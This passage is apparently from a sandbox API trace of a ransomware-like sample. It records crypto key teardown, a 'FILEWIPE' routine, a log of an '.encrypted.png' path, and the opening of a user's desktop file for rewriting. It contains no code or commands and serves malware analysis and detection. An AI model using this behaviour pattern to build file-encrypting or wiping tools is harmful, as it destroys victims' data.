wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe440) returned 0 [0023.537] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNTDEC", cchLength=0x13 | out: lpsz="__CRYPT_REFCOUNTDEC") returned 0x13 [0023.537] PeekMessageW (in: lpMsg=0xe8f3dfe120, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe120) returned 0 [0023.538] PeekMessageW (in: lpMsg=0xe8f3dfe120, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe120) returned 0 [0023.538] PeekMessageW (in: lpMsg=0xe8f3dfe440, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe440) returned 0 [0023.538] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNT", cchLength=0x10 | out: lpsz="__CRYPT_REFCOUNT") returned 0x10 [0023.538] PeekMessageW (in: lpMsg=0xe8f3dfde30, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfde30) returned 0 [0023.538] PeekMessageW (in: lpMsg=0xe8f3dfe440, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe440) returned 0 [0023.538] PeekMessageW (in: lpMsg=0xe8f3dfe440, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe440) returned 0 [0023.538] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0023.540] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0023.540] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0023.540] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0023.541] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0023.541] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0023.541] CharUpperBuffW (in: lpsz="_CRYPT_DESTROYKEY", cchLength=0x11 | out: lpsz="_CRYPT_DESTROYKEY") returned 0x11 [0023.541] PeekMessageW (in: lpMsg=0xe8f3dfe990, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe990) returned 0 [0023.541] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0023.541] PeekMessageW (in: lpMsg=0xe8f3dfe0f0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe0f0) returned 0 [0023.541] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0023.541] CryptDestroyKey (hKey=0xe8f40624f0) returned 1 [0023.541] PeekMessageW (in: lpMsg=0xe8f3dfe990, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe990) returned 0 [0023.541] PeekMessageW (in: lpMsg=0xe8f3dfe990, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe990) returned 0 [0023.541] CharUpperBuffW (in: lpsz="_CRYPT_SHUTDOWN", cchLength=0xf | out: lpsz="_CRYPT_SHUTDOWN") returned 0xf [0023.541] PeekMessageW (in: lpMsg=0xe8f3dfe670, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe670) returned 0 [0023.541] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNTDEC", cchLength=0x13 | out: lpsz="__CRYPT_REFCOUNTDEC") returned 0x13 [0023.541] PeekMessageW (in: lpMsg=0xe8f3dfe350, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe350) returned 0 [0023.541] PeekMessageW (in: lpMsg=0xe8f3dfe350, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe350) returned 0 [0023.541] PeekMessageW (in: lpMsg=0xe8f3dfe670, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe670) returned 0 [0023.541] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNT", cchLength=0x10 | out: lpsz="__CRYPT_REFCOUNT") returned 0x10 [0023.541] PeekMessageW (in: lpMsg=0xe8f3dfe060, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe060) returned 0 [0023.541] PeekMessageW (in: lpMsg=0xe8f3dfe670, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe670) returned 0 [0023.541] PeekMessageW (in: lpMsg=0xe8f3dfe670, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe670) returned 0 [0023.541] PeekMessageW (in: lpMsg=0xe8f3dfe990, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe990) returned 0 [0023.541] PeekMessageW (in: lpMsg=0xe8f3dfe990, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe990) returned 0 [0023.541] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0023.542] CharUpperBuffW (in: lpsz="_CRYPT_SHUTDOWN", cchLength=0xf | out: lpsz="_CRYPT_SHUTDOWN") returned 0xf [0023.542] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0023.542] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNTDEC", cchLength=0x13 | out: lpsz="__CRYPT_REFCOUNTDEC") returned 0x13 [0023.542] PeekMessageW (in: lpMsg=0xe8f3dfe800, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe800) returned 0 [0023.542] PeekMessageW (in: lpMsg=0xe8f3dfe800, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe800) returned 0 [0023.542] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0023.542] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNT", cchLength=0x10 | out: lpsz="__CRYPT_REFCOUNT") returned 0x10 [0023.542] PeekMessageW (in: lpMsg=0xe8f3dfe510, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe510) returned 0 [0023.542] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0023.542] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0023.542] PeekMessageW (in: lpMsg=0xe8f3dfe5a0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe5a0) returned 0 [0023.542] CharUpperBuffW (in: lpsz="__CRYPT_CONTEXT", cchLength=0xf | out: lpsz="__CRYPT_CONTEXT") returned 0xf [0023.542] PeekMessageW (in: lpMsg=0xe8f3dfe5a0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe5a0) returned 0 [0023.542] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0023.542] CryptReleaseContext (hProv=0xe8f40633c0, dwFlags=0x0) returned 1 [0023.542] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0023.542] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0023.542] PeekMessageW (in: lpMsg=0xe8f3dfe5a0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe5a0) returned 0 [0023.542] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0023.542] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0023.542] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0023.542] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0023.543] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0023.544] PeekMessageW (in: lpMsg=0xe8f3dff160, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff160) returned 0 [0023.544] CharUpperBuffW (in: lpsz="FILEWIPE", cchLength=0x8 | out: lpsz="FILEWIPE") returned 0x8 [0023.544] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0023.544] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0023.544] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0023.544] CharLowerBuffW (in: lpsz="byte[25830]", cchLength=0xb | out: lpsz="byte[25830]") returned 0xb [0023.544] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0023.544] CharUpperBuffW (in: lpsz="MEMSET", cchLength=0x6 | out: lpsz="MEMSET") returned 0x6 [0023.544] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0023.544] CharLowerBuffW (in: lpsz="ptr:cdecl", cchLength=0x9 | out: lpsz="ptr:cdecl") returned 0x9 [0023.544] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0023.544] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0023.544] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0023.544] CharUpperBuffW (in: lpsz="_WINAPI_CREATEFILE", cchLength=0x12 | out: lpsz="_WINAPI_CREATEFILE") returned 0x12 [0023.544] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0023.544] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0023.544] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0023.544] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0023.544] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0023.544] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0023.545] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0023.545] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0023.545] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0023.545] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0023.545] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0023.545] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0023.545] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0023.545] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0023.545] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0023.545] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0023.545] CharLowerBuffW (in: lpsz="handle", cchLength=0x6 | out: lpsz="handle") returned 0x6 [0023.546] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0023.546] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0023.546] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0023.546] CharUpperBuffW (in: lpsz="_WINAPI_WRITEFILE", cchLength=0x11 | out: lpsz="_WINAPI_WRITEFILE") returned 0x11 [0023.546] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0023.546] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0023.546] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0023.546] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0023.546] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0023.546] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0023.546] CharUpperBuffW (in: lpsz="_WINAPI_CLOSEHANDLE", cchLength=0x13 | out: lpsz="_WINAPI_CLOSEHANDLE") returned 0x13 [0023.546] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0023.546] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0023.546] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0023.546] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0023.546] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0023.547] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0023.547] PeekMessageW (in: lpMsg=0xe8f3dff160, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff160) returned 0 [0023.548] CharUpperBuffW (in: lpsz="_GETFILENAMEEXEXT", cchLength=0x11 | out: lpsz="_GETFILENAMEEXEXT") returned 0x11 [0023.548] PeekMessageW (in: lpMsg=0xe8f3dfebe0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfebe0) returned 0 [0023.548] PeekMessageW (in: lpMsg=0xe8f3dfebe0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfebe0) returned 0 [0023.548] PeekMessageW (in: lpMsg=0xe8f3dfebe0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfebe0) returned 0 [0023.548] PeekMessageW (in: lpMsg=0xe8f3dfebe0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfebe0) returned 0 [0023.548] PeekMessageW (in: lpMsg=0xe8f3dfebe0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfebe0) returned 0 [0023.548] SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2 | out: lpNewFilePointer=0x0) returned 1 [0023.548] SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0x0, lpNewFilePointer=0xe8f3dff0c0, dwMoveMethod=0x1 | out: lpNewFilePointer=0xe8f3dff0c0*=2060) returned 1 [0023.548] SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0023.548] SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0x0, lpNewFilePointer=0xe8f3dff070, dwMoveMethod=0x1 | out: lpNewFilePointer=0xe8f3dff070*=0) returned 1 [0023.548] SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0x0, lpNewFilePointer=0xe8f3dff060, dwMoveMethod=0x1 | out: lpNewFilePointer=0xe8f3dff060*=0) returned 1 [0023.548] ReadFile (in: hFile=0x1fc, lpBuffer=0xe8f41a09b0, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0xe8f3dff0a0, lpOverlapped=0x0 | out: lpBuffer=0xe8f41a09b0*, lpNumberOfBytesRead=0xe8f3dff0a0*=0x80c, lpOverlapped=0x0) returned 1 [0023.548] ReadFile (in: hFile=0x1fc, lpBuffer=0xe8f41a09b0, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0xe8f3dff0a0, lpOverlapped=0x0 | out: lpBuffer=0xe8f41a09b0*, lpNumberOfBytesRead=0xe8f3dff0a0*=0x0, lpOverlapped=0x0) returned 1 [0023.548] SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0x80c, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0023.548] SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0x0, lpNewFilePointer=0xe8f3dff070, dwMoveMethod=0x1 | out: lpNewFilePointer=0xe8f3dff070*=2060) returned 1 [0023.548] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="C:\\Users\\5JgHKoaOfdp\\Desktop\\uK 6Ek_gE.encrypted.png\r\n", cchWideChar=55, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 55 [0023.548] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="C:\\Users\\5JgHKoaOfdp\\Desktop\\uK 6Ek_gE.encrypted.png\r\n", cchWideChar=55, lpMultiByteStr=0xe8f404ba10, cbMultiByte=55, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\Users\\5JgHKoaOfdp\\Desktop\\uK 6Ek_gE.encrypted.png\r\n", lpUsedDefaultChar=0x0) returned 55 [0023.549] WriteFile (in: hFile=0x1fc, lpBuffer=0xe8f40513b0*, nNumberOfBytesToWrite=0x36, lpNumberOfBytesWritten=0xe8f3dff0c0, lpOverlapped=0x0 | out: lpBuffer=0xe8f40513b0*, lpNumberOfBytesWritten=0xe8f3dff0c0*=0x36, lpOverlapped=0x0) returned 1 [0023.549] CloseHandle (hObject=0x1fc) returned 1 [0023.551] PeekMessageW (in: lpMsg=0xe8f3dff160, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff160) returned 0 [0023.551] PeekMessageW (in: lpMsg=0xe8f3dff160, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff160) returned 0 [0023.551] PeekMessageW (in: lpMsg=0xe8f3dff480, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff480) returned 0 [0023.551] PeekMessageW (in: lpMsg=0xe8f3dff480, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff480) returned 0 [0023.551] PeekMessageW (in: lpMsg=0xe8f3dff480, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff480) returned 0 [0023.551] CharUpperBuffW (in: lpsz="_FILEINUSE", cchLength=0xa | out: lpsz="_FILEINUSE") returned 0xa [0023.551] PeekMessageW (in: lpMsg=0xe8f3dfee70, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee70) returned 0 [0023.552] CharLowerBuffW (in: lpsz="hwnd", cchLength=0x4 | out: lpsz="hwnd") returned 0x4 [0023.552] LoadLibraryW (lpLibFileName="kernel32.dll") returned 0x7ffe2a640000 [0023.553] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CreateFile", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0023.553] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CreateFile", cchWideChar=11, lpMultiByteStr=0xe8f41789a0, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CreateFile", lpUsedDefaultChar=0x0) returned 11 [0023.553] GetProcAddress (hModule=0x7ffe2a640000, lpProcName="CreateFile") returned 0x0 [0023.553] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CreateFileA", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0023.553] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CreateFileA", cchWideChar=12, lpMultiByteStr=0xe8f4178900, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CreateFileA", lpUsedDefaultChar=0x0) returned 12 [0023.553] GetProcAddress (hModule=0x7ffe2a640000, lpProcName="CreateFileA") returned 0x7ffe2a643194 [0023.554] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C:\\Users\\5JgHKoaOfdp\\Desktop\\Ur9w.mp3", cchWideChar=38, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 38 [0023.554] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C:\\Users\\5JgHKoaOfdp\\Desktop\\Ur9w.mp3", cchWideChar=38, lpMultiByteStr=0xe8f41885d0, cbMultiByte=38, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\Users\\5JgHKoaOfdp\\Desktop\\Ur9w.mp3", lpUsedDefaultChar=0x0) returned 38 [0023.554] CreateFileA (lpFileName="C:\\Users\\5JgHKoaOfdp\\Desktop\\Ur9w.mp3" (normalized: "c:\\users\\5jghkoaofdp\\desktop\\ur9w.mp3"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, 